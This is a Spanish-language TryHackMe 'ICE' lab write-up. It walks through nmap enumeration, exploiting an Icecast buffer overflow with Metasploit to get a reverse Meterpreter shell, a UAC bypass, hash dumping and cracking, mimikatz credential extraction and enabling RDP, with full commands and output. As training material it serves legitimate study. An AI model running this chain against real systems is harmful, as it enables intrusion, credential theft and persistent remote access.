


Write-Up: Máquina "ICE"

 Plataforma: Try Hack Me

 Dificultad: Fácil

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Metodología de Pentesting

El proceso se realizó siguiendo la siguiente metodología:

- 1 **Reconocimiento** – Recolección de información general sobre la máquina objetivo.
 - 2 **Escaneo y Enumeración** – Identificación de servicios, tecnologías y versiones en uso.
 - 3 **Explotación** – Uso de vulnerabilidades encontradas para obtener acceso al sistema.
 - 4 **Escalada de Privilegios y Post-Explotación** – Obtención de permisos elevados hasta lograr acceso total para realizar una extracción de información.
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1. Reconocimiento y Recolección de Información

Busco los puertos abiertos.

```
(root@kali)-[~]  
# nmap -p- -vvv --open -sS 10.10.125.188
```

PORT	STATE	SERVICE	REASON
135/tcp	open	msrpc	syn-ack ttl 127
139/tcp	open	netbios-ssn	syn-ack ttl 127
445/tcp	open	microsoft-ds	syn-ack ttl 127
3389/tcp	open	ms-wbt-server	syn-ack ttl 127
5357/tcp	open	wsdapi	syn-ack ttl 127
8000/tcp	open	http-alt	syn-ack ttl 127
49152/tcp	open	unknown	syn-ack ttl 127
49153/tcp	open	unknown	syn-ack ttl 127
49154/tcp	open	unknown	syn-ack ttl 127
49158/tcp	open	unknown	syn-ack ttl 127
49159/tcp	open	unknown	syn-ack ttl 127
49160/tcp	open	unknown	syn-ack ttl 127

2. Escaneo y Enumeración

Escaneo los puertos abiertos encontrados anteriormente para encontrar información más detallada.

```
(root@kali)~# nmap -p135,139,445,3389,5357,8000 -sV -sC 10.10.125.188
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-06 15:14 -04
Nmap scan report for 10.10.125.188
Host is up (0.23s latency).

PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp    open  tcpwrapped
5357/tcp    open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
8000/tcp    open  http         Icecast streaming media server
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Dark-PC
|   NetBIOS computer name: DARK-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-04-06T14:14:53-05:00
| smb2-security-mode:
|   2:1:0:
|_  Message signing enabled but not required
|_ clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
|_ nbstat: NetBIOS name: DARK-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:e9:75:92:5a:eb (unknown)
| smb2-time:
|   date: 2025-04-06T19:14:53
|_  start_date: 2025-04-06T19:08:01

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

Anteriormente se puede ver que el servicio http corre en el puerto 8000 y su versión es Icecast streaming media server. Busco esa versión en internet para ver si hay alguna vulnerabilidad registrada. Y efectivamente, si la hay.

https://www.cvedetails.com/cve/CVE-2004-1561/

Kali DocsKali ForumsKali NetHunterExploit-DBGoogle Hacking DBOffSecCrackStationBase64 DecodeDECODE

Q CVE id, product, vendor...

Vulnerability Details : CVE-2004-1561

Public exploit exists!

Buffer overflow in Icecast 2.0.1 and earlier allows remote attackers to execute arbitrary code via an HTTP request with a large number of headers.

Published 2004-12-31 05:00:00 Updated 2025-04-03 01:03:51 Source MITRE

Vulnerability category: OverflowExecute code

Products affected by CVE-2004-1561

Icecast » Icecast » Version: 2.0

cpe:2.3:a:icecast:icecast:2.0:*:*:*:*:*

Icecast » Icecast » Version: 2.0.1

cpe:2.3:a:icecast:icecast:2.0.1:*:*:*:*:*

Exploit prediction scoring system (EPSS) score for CVE-2004-1561

78.57%

Probability of exploitation activity in the next 30 days

EPSS Score History

~ 99 %

Percentile, the proportion of vulnerabilities that are scored at or less

This module exploits a buffer overflow in the header parsing of icecast versions 2.0.1 and earlier, discovered by Luigi Auriemma. Sending 32 HTTP headers will cause a write one past the end of a pointer array. On win32 this happens to overwrite the saved instruction

More information

CVSS scores for CVE-2004-1561

Base Score	Base Severity	CVSS Vector	Exploitability Score	Impact Score	Score Source	First Seen
7.5	HIGH	AV:N/AC:L/Au:N/C:P/I:P/A:P	10.0	6.4	NIST	

🌟 3. Explotación de Vulnerabilidades

Inicio metasploit.

```
(root@kali)-[~]
# msfconsole
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more

Sistema de...
Corp...

+ -- ==[ metasploit v6.4.34-dev ]
+ -- ==[ 2461 exploits - 1267 auxiliary - 431 post ]
+ -- ==[ 1471 payloads - 49 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
msf6 > search icecast
```

Busco si hay un exploit para icecast en metasploit, para automatizar este proceso. Seleccioné la mejor opción (es la única en este caso). Con “show options” veo los parámetros existentes que deba modificar/agregar para este exploit.

```
msf6 > search icecast

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  exploit/windows/http/icecast_header      2004-09-28      great No     Icecast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > show options

Module options (exploit/windows/http/icecast_header):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.18.8    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     8000             yes       The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.18.8    yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic
```

Ingreso la ip de la máquina objetivo (remote host) y la ip de mi máquina (local host). Ahora, ejecutar el exploit con “run”.

```
msf6 exploit(windows/http/icecast_header) > set RHOSTS 10.10.125.188
RHOSTS => 10.10.125.188
msf6 exploit(windows/http/icecast_header) > set LHOST 10.21.144.200
LHOST => 10.21.144.200
msf6 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 10.21.144.200:4444
[*] Sending stage (177734 bytes) to 10.10.125.188
[*] Meterpreter session 1 opened (10.21.144.200:4444 -> 10.10.125.188:49213) at 2025-04-06 15:25:38 -0400
```

Se abre una sesión exitosa en la máquina objetivo.

```
meterpreter > getuid
Server username: Dark-PC\Dark
meterpreter > sysinfo
Computer      : DARK-PC
OS            : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter    : x86/windows
```



4. Escalada de Privilegios y Post-explotación

Con “**run post/multi/recon/local_exploit_suggester**” se buscarán vulnerabilidades en la máquina local. De todas las que aparecen, se usará la de **bypassuac_eventvwr**

```
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 10.10.125.188 - Collecting local exploits for x86/windows...
[*] 10.10.125.188 - 198 exploit checks are being tried...
[*] 10.10.125.188 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[*] 10.10.125.188 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[*] 10.10.125.188 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[*] 10.10.125.188 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[*] 10.10.125.188 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[*] 10.10.125.188 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[*] 10.10.125.188 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[*] 10.10.125.188 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[*] 10.10.125.188 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[*] 10.10.125.188 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] 10.10.125.188 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 42 / 42
[*] 10.10.125.188 - Valid modules for session 1:

#  Name                                     Potentially Vulnerable?  Check Result
-  -
1  exploit/windows/local/bypassuac_comhijack  Yes                      The target appears to be vulnerable.
2  exploit/windows/local/bypassuac_eventvwr   Yes                      The target appears to be vulnerable.
3  exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move  Yes                      The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
4  exploit/windows/local/ms10_092_schelevator  Yes                      The service is running, but could not be validated.
5  exploit/windows/local/ms13_053_schlamperei  Yes                      The target appears to be vulnerable.
6  exploit/windows/local/ms13_081_track_popup_menu  Yes                      The target appears to be vulnerable.
7  exploit/windows/local/ms14_058_track_popup_menu  Yes                      The target appears to be vulnerable.
8  exploit/windows/local/ms15_051_client_copy_image  Yes                      The target appears to be vulnerable.
9  exploit/windows/local/ntusermndragover       Yes                      The target appears to be vulnerable.
10 exploit/windows/local/ppr_flatten_rec        Yes                      The target appears to be vulnerable.
11 exploit/windows/local/tokenmagic            Yes                      The target appears to be vulnerable.
```

En msf6 ingresar “**use exploit/windows/local/bypassuac_eventvwr**” y con “**show options**” se pueden ver las variables/parámetros que se deben rellenar con los datos correctos para que funcione en este caso particular.

```
msf6 exploit(windows/http/icecast_header) > use exploit/windows/local/bypassuac_eventvwr
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) > show options

Module options (exploit/windows/local/bypassuac_eventvwr):

  Name      Current Setting  Required  Description
  --      -
  SESSION   yes             yes       The session to run this module on

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  EXITFUNC  process         yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.18.8    yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Windows x86

View the full module info with the info, or info -d command.
```

Ingreso mi IP, lo ingreso a session 1 y con “run” lo ejecuto.

```
msf6 exploit(windows/local/bypassuac_eventvwr) > set LHOST 10.21.144.200
LHOST => 10.21.144.200
msf6 exploit(windows/local/bypassuac_eventvwr) > set session 1
session => 1
msf6 exploit(windows/local/bypassuac_eventvwr) > run

[*] Started reverse TCP handler on 10.21.144.200:4444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (177734 bytes) to 10.10.125.188
[*] Meterpreter session 2 opened (10.21.144.200:4444 -> 10.10.125.188:49222) at 2025-04-06 15:35:41 -0400
[*] Cleaning up registry keys ...
```

con “hashdump” obtengo usuarios y sus contraseñas en formato NT. Copio el usuario “Dark” y su contraseña hashada en NT.

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Dark:1000:aad3b435b51404eeaad3b435b51404ee:7c4fe5eada682714a036e39378362bab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

La pego en un archivo que le llamé hashICE.txt y luego intento romper el hash usando John The Ripper. Finalmente, el proceso fué exitoso. Entonces, tenemos **Dark:Password01!**

```
(root@kali)-[~]
└─# john -wordlist=/usr/share/wordlists/rockyou.txt hashICE.txt --format=NT

Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
Password01! (Dark)
1g 0:00:00:00 DONE (2025-04-06 15:49) 1.250g/s 2629Kp/s 2629Kc/s 2629Kc/s Password31..Paris13
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```

Con "getprivs" se obtienen los privilegios para el usuario actual.

```
meterpreter > getprivs

Enabled Process Privileges
=====

Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
```


Con “ps” se ven los procesos que se están ejecutando y su información.

```
meterpreter > ps
```

Process List						
PID	PPID	Name	Arch	Session	User	Path
0	0	[System Process]				
4	0	System	x64	0		
100	688	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
348	688	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
416	4	smss.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\smss.exe
544	536	csrss.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\csrss.exe
596	536	wininit.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\wininit.exe
604	584	csrss.exe	x64	1	NT AUTHORITY\SYSTEM	C:\Windows\System32\csrss.exe
652	584	winlogon.exe	x64	1	NT AUTHORITY\SYSTEM	C:\Windows\System32\winlogon.exe
688	596	services.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\services.exe
704	596	lsass.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\lsass.exe
712	596	lsm.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\lsm.exe
752	688	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
820	688	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
888	688	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	C:\Windows\System32\svchost.exe
936	688	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
1068	688	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
1148	688	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	C:\Windows\System32\svchost.exe
1272	688	spoolsv.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\spoolsv.exe
1332	688	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
1432	688	taskhost.exe	x64	1	Dark-PC\Dark	C:\Windows\System32\taskhost.exe
1500	100	dwm.exe	x64	1	Dark-PC\Dark	C:\Windows\System32\dwm.exe
1512	1484	explorer.exe	x64	1	Dark-PC\Dark	C:\Windows\explorer.exe
1536	820	WmiPrvSE.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\wbem\WmiPrvSE.exe
1612	688	amazon-ssm-agent.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
1712	688	LiteAgent.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Program Files\Amazon\Xentools\LiteAgent.exe
1752	688	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
1848	820	WmiPrvSE.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	C:\Windows\System32\wbem\WmiPrvSE.exe
1900	688	Ec2Config.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
1936	688	TrustedInstaller.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\servicing\TrustedInstaller.exe
2100	688	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	C:\Windows\System32\svchost.exe
2208	544	conhost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\conhost.exe
2312	1512	Icecast2.exe	x86	1	Dark-PC\Dark	C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
2328	2496	powershell.exe	x86	1	Dark-PC\Dark	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
2352	688	vds.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\vds.exe
2616	688	SearchIndexer.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\SearchIndexer.exe
2920	100	Defrag.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\Defrag.exe
2968	688	sppsvc.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	C:\Windows\System32\sppsvc.exe
3004	604	conhost.exe	x64	1	Dark-PC\Dark	C:\Windows\System32\conhost.exe

Ahora se buscará migrar a un proceso adecuado que tenga permisos elevados. Luego, reviso y soy el usuario **NT AUTHORITY\SYSTEM**. Finalmente, se carga mimikatz en meterpreter con “load kiwi”. Con “help” puedes ver todos los comandos que se pueden usar.

```
meterpreter > migrate -N spoolsv.exe
[*] Migrating from 2328 to 1272 ...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load kiwi
Loading extension kiwi...
.#####.   mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo)
## / \ ##   /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > http://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'    > http://pingcastle.com / http://mysmartlogon.com ***/

Success.
```

Luego de cargar kiwi, con “creds_all” se verán los usuarios y sus credenciales de acceso.

```
meterpreter > creds_all
[*] Running as SYSTEM
[*] Retrieving all credentials
msv credentials

Username  Domain  LM              NTLM              SHA1
-----
Dark      Dark-PC  e52cac67419a9a22ecb08369099ed302  7c4fe5eada682714a036e39378362bab  0d082c4b4f2aeafb67fd0ea568a997e9d3ebc0eb

wdigest credentials

Username  Domain  Password
-----
(null)    (null)  (null)
DARK-PC$  WORKGROUP  (null)
Dark      Dark-PC  Password01!

tspkg credentials

Username  Domain  Password
-----
Dark      Dark-PC  Password01!

kerberos credentials

Username  Domain  Password
-----
(null)    (null)  (null)
Dark      Dark-PC  Password01!
dark-pc$  WORKGROUP  (null)
```

Con “run post/windows/manage/enable_rdp” se activará el acceso remoto mediante RDP. Esto permite conectarse de forma remota y gráfica, como si se estuviera físicamente en el.

```
meterpreter > run post/windows/manage/enable_rdp
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20250406154713_default_10.10.125.188_host.windows.cle_346545.txt
```

Banderas y Resultados

✓ **Acceso:** Se obtuvo acceso usando meterpreter a base de metasploit. Incluso, hasta permitir activar el acceso remoto con RDP.